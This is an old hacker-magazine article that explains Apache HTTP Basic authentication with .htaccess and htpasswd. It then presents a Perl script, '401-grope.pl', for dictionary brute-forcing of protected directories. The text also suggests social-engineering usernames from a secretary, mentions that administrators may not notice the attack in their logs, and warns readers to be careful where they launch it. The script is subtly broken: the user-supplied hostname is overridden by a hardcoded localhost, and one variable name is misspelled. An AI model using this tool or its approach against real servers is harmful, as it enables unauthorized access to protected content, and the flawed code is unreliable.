Defeating HTTP Access Control
by Ryan (ryan@2600.com)
By now, you've got your spiffy web page all set up, and you've got your shouts going out to all your pals, and the picture of your cat is in its own frame, and he's an animated GIF, and all is right with the world...
Now, you'd like to put up a picture of yourself shirtless with your rippling biceps (you have Photoshop, right?), so you can impress girls on IRC. But you'd just die if your friends saw it.
Enter HTTP access control...
RFC 1945 outlines the entire HTTP 1.0 specification, including how to write your HTTP server so it'll ask an HTTP 1.0 compliant browser for a username/password, which looks something like this:
The RFC is a good thing to read, but don't worry about it too much - you're not writing your own server. You're probably using something like NCSA's HTTPd, or more likely, Apache (www.apache.org). They (and some others, including some of Netscape's servers) use an access control mechanism in the following way.
You have a directory you'd like to protect. We'll call it "secret." Inside the secret directory are your secret HTML files, images, or whatever. Also inside this directory, you should place an access-control file, named .htaccess (note that it starts with a dot). This is just a text file that should look something like this:
AuthUserFile /home/path/to/your/secret/.passwords AuthGroupFile /dev/null AuthName BoogaBooga AuthType Basic {={Limit GET POST PUT}=} require user 2600mag ryan bob foo {={/Limit}=}Place the path to your directory where it says /home/path/to/your/secret, and include the .passwords (again, starting with a dot) at the end. This is the location of your passwords file.
Keep /dev/null as the AuthGroupFile, as we're not using groups in this example. (They're explained at the URLs at the end of this article.)
AuthName is whatever you'd like to appear in the dialog box (it's BoogaBooga in my file, and in the picture of the dialog box). It gives the requester some feedback as to whether they need to use their password for "pentagon" or for "playboy".
The Limit section specifies that users named 2600mag, ryan, bob, and foo are the only people allowed to see what's in this directory, and that they must have a valid password.
Next, you create a password file, using the program htpasswd, which is distributed with Apache, and is available online, in various places. Its syntax is this:
$ htpasswd [-c] passwordfile usernameThe -c is only used the first time you use this command, as it creates a new password file. Using -c again will erase the password file, so be careful. Using the path and filename we specified in our .htaccess file, we'd type:
$ htpasswd -c /home/path/to/your/secret/.passwords yourname... substituting your name. You'll then be prompted for a password and asked to type it again, to make sure you didn't mistype. My password file looks like this:
ryan:D5rS0604AgGio bob:slV4yfweZW3C6 foo:A01v9gwHl2zQWkThese aren't the passwords I typed in - they're the encrypted output of the htpasswd program. Incidentally, these are encrypted using the standard crypt() function that can be brute-force cracked by any of the "Krak" type programs out there.
With these two files in place (your .htaccess and .passwords files), you should get a box requesting a username and password before the webserver serves any files in that directory. Note that on a shared system (like on your service provider's machines) you should use common sense, and not allow world "listing" of your directories, and make the files readable only by you and by the web server, if possible. This access control only works with the webserver, not others on the system, and certainly not sysadmins.
So How Does it Really Work?
Under the hood, things look like this:
First, your browser connects to the server, and sends this text, to ask for a document:
GET /~ryan/webfiles/secret HTTP/1.0 Connection: Keep-Alive User-Agent: Mozilla/4.0b5 (Macintosh; I; PPC) Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */* Accept-Charset: iso-8859-1,*,utf-8Then the webserver notices that that file is access-protected and that you haven't specified a username and password. Therefore it sends a refusal back in the form of a error code 401:
HTTP/1.0 401 Unauthorized Date: Sun, 15 Jun 1997 22:27:51 GMT Server: Apache/1.1.3 WWW-Authenticate: Basic realm="BoogaBooga" Content-type: text/htmlThis tells your browser to throw up the Username/Password dialog box. After you fill it out and hit O.K., your browser takes the username and password and manipulates it like this: it builds a string that looks like username:password, then encodes it into "printable text," as described in the RFC. Some sources refer to this as uuencoding, but it's not quite the same as the UNIX command. The Perl source accompanying this article includes functions for Base64 encoding and decoding.
This "encoding" is not "encrypting!!" It's simply encoding it so it can be included in an HTTP header, much like you'd MIME-encode an email message. If you're packet-sniffed, this is as good as plaintext. After this Base64 encoding, your browser sends back this request, including your encoded username:password:
GET /secret HTTP/1.0 Connection: Keep-Alive User-Agent: Mozilla/4.0b5 (Macintosh; I; PPC) Host: inch.com:2667 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */* Accept-Charset: iso-8859-1,*,utf-8 Authorization: Basic cnlhbjpob29ha'==The server then decodes your username:password pair, "crypts" it, and compares the goop that comes out of crypt() with the goop that's in your password file. If they match, you're given the file.
This whole setup isn't very secure. In fact, it's only slightly more secure than having hard-to-guess URLs, and keeping them secret. This is coupled with the common usage of people picking an easy to guess (or easy to social engineer) password, and a common word for the password. After all, "It's not my email or anything..."
Imagine this scenario: Bob's SecretPlans Inc. has a new widget that they're going to unveil at next month's WidgetWorld. They're showing it off to their world sales staff on a password protected webpage. Now, it's a good bet that the username is gonna be "Bob". If it's not that, you can probably ask Bob's secretary for it on the phone. Given that it's targeted for a sales team, the password probably isn't that complicated, probably monosyllabic.
So, if we run a dictionary (like the one included in your UNIX distribution) through a program that encodes the username:password and asks the webserver, we can do a quick-and-dirty, brute-force attack.
This Perl program asks the user for the username to try, then takes a user-supplied file of passwords to try. This "passwords to try" file can be a dictionary, a list of employee's names, or whatever. Anyone familiar with the basics of Perl can modify this program to (for example) try all passwords five characters long.
Rather than use the normal GET method, like a normal web browser, this program uses the HEAD method to request the file from the webserver, which just requests the file's modification date, and other brief info, and not the actual HTML file, in order to keep down bandwidth. This prevents an HTML "You've been denied" message from being sent, over and over and over... When the program gets a header with HTTP code 401, (the access denied code) it prints "...access denied" and goes on to the next password. Upon receiving an HTTP code of 200, 301, 302, 303, or 500, it tells the user, then moves on.
An Apache webserver is capable of handling hundreds of hits per minute, and, quite frankly, Apache performs far better than my Perl script, so your odds of creating a "Web Hammer" with this are low. With any luck, the server administrator won't even notice 100,000 or so hits in his error log. Obviously, an intelligent approach to this attack will save you hours, perhaps days, and tons of bandwidth. Try a small dictionary of proper names first. Then, maybe grep out all the words of five characters or less from a dictionary file. Trying all the combinations of letters, upper and lowercase, for six letters at ten tries a second will still take about 34 years. However, used intelligently, with a few modifications, it can find a username:password like Jane:secret pretty quick.
The new HTTP 1.1 specification looks forward to a new encrypted password scheme that prevents the plaintext transmission of passwords. I've also seen mention of modifications to webservers that lock out users after a certain number of failed passwords, or that alert admins in that case. These are a good step, but don't address the "dumb password choice" issue.
Final Note: Webservers log your IP, and usually your hostname for each request. You're not anonymous. Be careful where you launch this.
Props to the guy who wrote the padding-fix for encode/decode Base64, whoever you are, and to Larry Wall, who wrote the Perl skeleton that this program is based on. SUPER props to Hobbit, who is responsible for Netcat, which made all this easy to figure out and write down. Winks to theb. Word to your mother.
#!/usr/bin/perl # # 401-grope.pl - A grope-in-the-dark "web-wardialer" # # Thrown together by Ryan, borrowing from source stolen from the net. # Released to public domain June 1997 - written for 2600 magazine. # ryan@2600.com push(@INC, "/usr/share/perl/5.14.2/"); # Point these to your Perl # headers require "/usr/lib/perl/5.14.2/sys/socket.ph"; # print "\nWhat username to try? : "; $username = <STDIN>; chop $username; print "\nWhat inputfile to try? : "; $inputfile = <STDIN>; chop $inputfile; print "\nWhat hostname to try? : (hint: use an IP, it's faster) : "; $hostname = <STDIN>; chop $hostname; print "\n\n"; $sockaddr = 'S n a4 x8'; $remote_host = "127.0.0.1"; $remote_port_number = 80; chop($hostname = `hostname`); ($name, $aliases, $protocol) = getprotobyname('tcp'); ($name, $aliases, $type, $length, $current_address) = gethostbyname($hostname); ($name, $aliases, $type, $length, $remote_address) = gethostbyname($remote_host); $current_port = pack($sockaddr, &AF_INET, 0, $current_address); $remote_port = pack($sockaddr, &AF_INET, $remote_port_number, $remote_address); # Main Loop open (IN, "$inpufile"); while (<IN>) { $thisguess = $_; chop $thisguess; $try_this = $username . ":" . $thisguess; print "\n----trying [$try_this]"; grope(Base64encode($try_this)); } print "\n\nDone.\n"; sub grope { $send_this = $_[0]; print "----sending encoded string: $send_this"; socket(CONNECTION, &PF_INET, &SOCK_STREAM, $protocol) || die "Cannot create socket.\n"; bind(CONNECTION, $current_port) || die "Cannot bind socket.\n"; connect(CONNECTION, $remote_port) || die "Cannot connect socket.\n"; select(CONNECTION); $| = 1; #print "$ARGV[0]", "\n"; print "HEAD /secret HTTP/1.0\n"; print "User-Agent: BadGuys\@thegate (Macintosh; I; 2600)\n"; print "Authorization: Basic "; print $send_this; print "\n\n"; #print "quit", "\n"; select(STDOUT); while (<CONNECTION>) { if (/^HTTP\/1\.. /) { if (/^HTTP\/1\.. (200|301|302|303|500)/) { print "\n****"; print; } if (/^HTTP\/1\.. (401)/) { print "...access denied"; } } } close CONNECTION; } sub Base64encode { my $res = ""; while ($_[0] =~ /(.{1,45})/gs) { $res .= substr(pack('u', $1), 1); chop($res); } $res =~ tr| -_|A-Za-z0-9+/|; # fix padding at end my $padding = (3 - length($_[0]) % 3) % 3; $res =~ s/.{$padding}$/'=' x $padding/e if $padding; $res; } sub Base64decode { local($^W) = 0; #unpack("u", ...) gives bogus warning in 5.001m my $str = shift; my $res = ""; $str =~ tr|A-Za-z0-9+/||cd; #remote non-base64 chars (padding) $str =~ tr|A-Za-z0-9+/| -_|; #convert to uuencoded format while($str =~ /(.{1,60})/gs) { my $len = chr(32 + length($1) * 3 / 4); #compute length byte $res .= unpack("u", $len . $1); #uudecode } $res; } exit(0);Code: 401-grope.pl